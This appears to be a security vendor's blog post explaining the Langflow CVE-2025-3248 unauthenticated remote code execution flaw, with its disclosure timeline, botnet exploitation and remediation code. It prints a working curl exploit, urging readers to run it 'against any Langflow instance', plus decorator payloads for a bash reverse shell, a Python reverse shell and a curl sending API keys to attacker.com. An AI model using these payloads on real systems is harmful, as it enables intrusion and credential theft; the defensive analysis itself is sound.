The 40-second proof of concept
Langflow is a visual builder for LLM pipelines. You drag, drop, wire APIs together, add custom Python code. It had a /api/v1/validate/code endpoint to check whether your Python was syntactically valid before running it.
Here's the exploit — copy this into your terminal right now against any Langflow instance:
curl -X POST http://target:7860/api/v1/validate/code \
-H "Content-Type: application/json" \
-d '{
"code": "@exec(__import__(\"os\").system(\"id\"))\ndef x(): pass"
}'
That works. Code runs. You get RCE. No login required. No token in the header. No authentication at all.
Why? Because the endpoint executed the user-supplied code first, then checked whether the user was authenticated. By the time the auth check ran, the exec() had already fired.
CVE-2025-3248: The ordering bug that lived for 20 months
The vulnerability is CVSS 9.8 critical. It earned it. Unauthenticated remote code execution on a platform that runs inside corporate networks, controls GPU-accelerated compute, and stores API keys from OpenAI, Anthropic, and every major vendor a company uses.
Langflow itself is legitimate software. 40,000+ stars on GitHub. Real enterprises running real AI workflows on it — RAG applications, chatbots, LLM agents. The problem wasn't the design. The problem was the order of operations in one endpoint.
And the problem was reported on July 27, 2023. The fix shipped March 31, 2025. Twenty months between "someone told you about this critical RCE" and "we finally fixed it." The GitHub issue stayed open the entire time.
During those 20 months, every Langflow instance was exploitable by anyone who read issue #696.
How the vulnerability worked
The vulnerable endpoint was /api/v1/validate/code. Its job was to check whether user-submitted Python code was syntactically valid. Here's a simplified version of the code path:
@router.post("/api/v1/validate/code")
async def validate_code(request: CodeValidationRequest):
code = request.code
# Step 1: Parse and execute the code
ast_tree = ast.parse(code)
compiled = compile(ast_tree, '<string>', 'exec')
exec(compiled) # Runs attacker's code RIGHT HERE
# Step 2: Check authentication (too late)
if not is_authenticated(request):
raise HTTPException(401, "Not authenticated")
The ordering is the entire vulnerability. exec() runs on line 7. The auth check happens on line 10. By the time the server realizes the caller isn't logged in, their code has already executed with the full privileges of the Langflow process.
This isn't a subtle logic error buried deep in a complex system. It's the wrong order of operations on a public-facing endpoint. The fix was straightforward: move the auth check above the exec() call. But for every version of Langflow before 1.3.0, the door was wide open.
The decorator trick: Python's parse-time execution
Here's where it gets interesting for the Python community.
You might think exec() only runs the body of the submitted code — that defining a function is safe because the function itself doesn't get called. But Python decorators are evaluated at parse time, not at call time. When the interpreter encounters a decorated function definition, it evaluates the decorator expression immediately.
Attackers used this to smuggle execution into what looks like an innocent function definition:
@exec(__import__('os').system('id'))
def innocent_function():
pass
When exec() processes this code, here's what happens:
- Python encounters the function definition with a decorator
- It evaluates the decorator expression:
__import__('os').system('id') os.system('id')runs — the attacker's command executes- The function object is never even created
- The attacker has code execution
The function body is irrelevant. The decorator is the payload. And because __import__ is a built-in, there's no need to have os or subprocess already imported. Everything the attacker needs is available in a default Python environment.
Exploit variations
The decorator trick enabled a range of attacks, from reconnaissance to full server takeover:
# Reconnaissance
@exec(__import__('os').system('whoami'))
def x(): pass
# Reverse shell
@exec(__import__('os').system(
'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
))
def x(): pass
# Steal API keys from environment variables
@exec(__import__('os').system(
'curl http://attacker.com/?k='
+ __import__('os').environ.get('OPENAI_API_KEY', '')
))
def x(): pass
# Python-native reverse shell (no bash needed)
@exec(
"import socket,subprocess;"
"s=socket.socket();"
"s.connect(('attacker.com',4444));"
"subprocess.call(['/bin/sh','-i'],"
"stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())"
)
def x(): pass
Every one of these payloads fits in a single HTTP request body. No authentication required. No multi-step exploit chain. Just POST to /api/v1/validate/code with the payload as the code field.
Two years of silence
Here's where it gets worse.
On July 27, 2023, a GitHub user named @Lyutoon opened Issue #696 on the Langflow repository. The report was clear and specific:
"The code validation endpoint can be exploited for RCE through a function definition's default parameter. This allows unauthenticated remote code execution."
The issue sat open. No fix. No triage. No security advisory. For nearly two years.
Here's the full timeline:
| Date | Event |
|---|---|
| July 27, 2023 | @Lyutoon reports the vulnerability in GitHub Issue #696 |
| 2023-2024 | Issue remains open, vulnerability unpatched |
| March 31, 2025 | Langflow 1.3.0 released with fix |
| April 3, 2025 | VulnCheck assigns CVE-2025-3248 |
| May 5, 2025 | CISA adds it to the Known Exploited Vulnerabilities catalog |
| May-June 2025 | Active exploitation campaigns documented in the wild |
Twenty months between "someone told you about this" and "you fixed it." In that window, every Langflow instance on the internet was running an unauthenticated remote code execution endpoint. Anyone who read the GitHub issue had a working exploit.
This is a pattern worth paying attention to. Open-source projects — especially fast-growing ones in the AI space — often prioritize features over security. The maintainers weren't malicious. They were building a product that people loved. But a critical security report collecting dust in a GitHub issue tracker for two years is a systemic failure, not just an oversight.
The Flodrix botnet
The vulnerability didn't stay theoretical. Attackers automated exploitation at scale.
Trend Micro documented an active campaign using CVE-2025-3248 to deploy the Flodrix botnet. The attack chain was straightforward:
- Scan the internet for exposed Langflow instances (Shodan, Censys, or custom scanners)
- Send the decorator payload to
/api/v1/validate/code - Install the Flodrix botnet agent on the compromised server
- Harvest API keys from environment variables
- Use the compromised server for DDoS attacks, cryptomining, and lateral movement into internal networks
The campaign targeted servers in the US, Australia, Singapore, Germany, and Mexico. Greynoise observed 361+ malicious IPs scanning for vulnerable Langflow instances.
On May 5, 2025, CISA added CVE-2025-3248 to the Known Exploited Vulnerabilities (KEV) catalog — the list of vulnerabilities that federal agencies are mandated to patch on a deadline. When CISA puts something in the KEV, it means one thing: this is being exploited right now, at scale, against real targets.
A second vulnerability made it worse
As if one critical RCE wasn't enough, researchers at Obsidian Security found a second critical vulnerability in Langflow: CVE-2025-34291 (CVSS 9.4). This one enabled account takeover and remote code execution simply by having a logged-in Langflow user visit a malicious webpage.
| CVE-2025-3248 | CVE-2025-34291 | |
|---|---|---|
| Type | Unauthenticated RCE | Account takeover + RCE |
| CVSS | 9.8 | 9.4 |
| Attack | Direct POST request | User visits malicious page |
| User interaction | None | One click |
Two critical-severity vulnerabilities in the same AI platform, both enabling full server compromise. The first required no interaction at all. The second required a user to click a link.
The AI tools problem
Langflow's vulnerability isn't an isolated incident. It's a symptom of a broader pattern: AI tools have fundamentally different attack surfaces than traditional web applications.
Traditional web apps handle data — text, images, user records. AI platforms handle code. They evaluate expressions, execute pipelines, run arbitrary logic. The features that make them powerful — dynamic code execution, plugin systems, tool use — are the same features that create dangerous entry points.
This shows up across the AI tooling ecosystem:
- Langflow:
exec()on unauthenticated endpoint - AI-generated code: String concatenation instead of parameterized queries
- Vibe-coded apps broadly: Missing auth, disabled access controls, exposed secrets
The OWASP Top 10 maps directly to what happened here. CVE-2025-3248 is simultaneously A03 (Injection), A07 (Authentication Failures), and A04 (Insecure Design). Using exec() on user input is a design problem. Doing it before auth is an implementation problem. Together, they're catastrophic.
For builders using AI platforms and AI-generated code: the tools you rely on may have vulnerabilities you can't see from the outside. Langflow looked like a polished, well-maintained project with 40,000 GitHub stars. The RCE was invisible until someone checked.
What you should do right now
If you run Langflow:
- Upgrade to version 1.3.0 or later immediately.
pip install langflow>=1.3.0 - If you can't upgrade yet, block external traffic to the instance with firewall rules.
- Check your logs for requests to
/api/v1/validate/codefrom unexpected IPs. If you find any, assume your instance was compromised — rotate all API keys in that environment.
If you build AI features that execute user code:
Never do this:
@router.post("/api/validate")
async def validate(code: str):
exec(code) # WRONG
if not is_authenticated():
raise 401
Do this instead:
@router.post("/api/validate")
async def validate(code: str):
if not is_authenticated(): # Check FIRST
raise 401
try:
ast.parse(code) # Parse without executing
except SyntaxError:
return {"valid": False}
return {"valid": True}
If you must execute user code, use a sandbox: Docker container, separate process, restricted filesystem. Never bare exec() on untrusted input.
Check your own endpoints in 60 seconds:
If you built an app with Lovable, Bolt, Cursor, or any AI tool, find your API endpoints and try hitting them while logged out. Open DevTools → Network tab. Look for any endpoint that should require authentication but doesn't. Try:
# Does this work without a login token?
curl https://your-app.com/api/internal/endpoint
# If you get data back, you have a problem.
Scan before you ship. Flowpatrol scans for exactly these patterns: exposed endpoints, missing auth checks, dangerous patterns like exec() on user input. Paste your URL. Five minutes. You'll know whether your app has this problem.
The pattern: AI tools, dangerous operations, default-open
This vulnerability lives at the intersection of three things:
- AI platforms let you run arbitrary code. That's the feature. It's powerful. It's also dangerous.
- Code execution requires auth, period. No exceptions. No "just validate it first."
- GitHub issues get triaged slowly. Langflow, like most open-source projects, is resource-constrained. A critical security report that would have taken 48 hours to fix in enterprise software sat open for 20 months.
The pattern keeps repeating:
- Langflow (2023): exec() before auth
- Lovable (2025): RLS disabled by default — 170 apps exposed
- Moltbook (2026): Zero row-level security on production databases
- Your app (2026): Probably has three endpoints that don't check authentication
The common thread: the default is open. It's the builder's job to lock it. The framework doesn't help. The platform doesn't guard it. The tools don't think about it. It just... ships.
The gap: fast to build, slow to secure
Langflow's fix happened in 24 hours once it was officially disclosed. The issue was clear, the code path was obvious, the patch was trivial. But it sat open for 20 months.
That's the pace of open-source maintenance grinding against the pace of production deployment. Builders are moving at "ship in a day" speed. Security reviews move at "whenever someone has bandwidth" speed. When you're the maintainer of a 40k-star project and your day job is building features, a GitHub issue — even a critical one — loses urgency.
This creates a fundamental gap: by the time a platform realizes it has a security problem, thousands of apps have already been built and deployed on the vulnerable infrastructure. Every app inherits the flaw. The blast radius becomes massive.
And that gap is exactly why you can't just trust the platform. You have to check.
Before Langflow flags you, flag yourself
You shipped something. It's live. You're proud. The last thing you want to hear is "we found a vulnerability."
But better that than a researcher finding it. Or a botnet. Or a competitor. Or waking up to CISA adding your infrastructure to the Known Exploited Vulnerabilities list.
Flowpatrol scans for these patterns: unauthenticated endpoints, exec/eval on user input, exposed secrets, broken access controls. Paste your URL. Five minutes. You'll know what's exposed before anyone else does.
Check your own app while you still have the power to fix it.
CVE-2025-3248 is documented in public research by Horizon3.ai, Trend Micro, Zscaler ThreatLabz, and CISA KEV.